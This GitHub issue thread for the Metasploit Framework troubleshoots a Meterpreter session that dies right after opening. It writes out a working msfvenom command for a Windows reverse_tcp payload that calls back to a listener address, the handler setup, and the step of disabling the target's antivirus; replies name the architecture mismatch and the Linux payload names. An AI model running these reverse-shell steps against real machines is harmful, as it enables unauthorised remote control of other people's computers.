Meterpreter session opens then dies instantly
Steps to reproduce
- generate payload using
msfvenom -p windows/x64/meterpreter/reverse_tcp --platform windows -a x64 -f exe LHOST=192.168.1.115 LPORT=4444 -o virus.exe - upload file to target computer (on local network)
- start the handler:
$ msfconsole msf > use multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.115 lhost => 192.168.1.115 msf exploit(handler) > set lport 4444 lport => 4444 msf exploit(handler) > exploit [*] exploit running as background job 6.
- Disabled antivirus since it was detecting the payload as malware and started the payload on the target machine.
Expected behavior
A meterpreter shell should open
Current behavior
[] Sending stage (171583 bytes) to 192.168.1.50 [] Meterpreter session 1 opened (192.168.1.115:4444 -> 192.168.1.50:52362) at 2018-02-06 16:55:37 + 0100 [+] negotiating tlv encryption [*] 192.168.1.50 - Meterpreter session 8 closed. Reason: Died
The session is created and then closes instantly. I didn't use any encoders or badchars, nor am I using multiple routers or a VPN.
System stuff
Metasploit version
4.16.4-dev
I installed Metasploit with:
Kali package via apt
OS
Kali Linux 2017.2
That is a tremendously old version. Please update.
@busterb an old version of Metasploit?
And your stager is set to x64 and your listener is x86. Don't mix your architectures.
On 7 Feb. 2018 02:34, "connerdassen" [email protected] wrote:
@busterb https://github.com/busterb an old version of Meterpreter?
— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/9514#issuecomment-363481070, or mute the thread https://github.com/notifications/unsubscribe-auth/AABw4ItuuM-ZnHH18Tf-qLARykBVpK4xks5tSH70gaJpZM4R7U2n .

This is great for Windows, but what about Linux 64 bit?
This is great for Windows, but what about Linux 64 bit?
Metasploit supports Linux x86 meterpreter payloads and Linux 64 meterpreter payloads. You can set payload linux/x86/meterpreter/reverse_tcp and set payload linux/x64/meterpreter/reverse_tcp respectively.
Microsoft updated Windows 7's Defender to nearly match Windows 10's (big difference is Cortana). Maybe you forgot to switch that off?
Hy Everybodies, this issues are generally caused from the reason listed in this very helful article. Hoping that can help. https://www.infosecmatter.com/why-is-your-meterpreter-session-dying-try-these-fixes/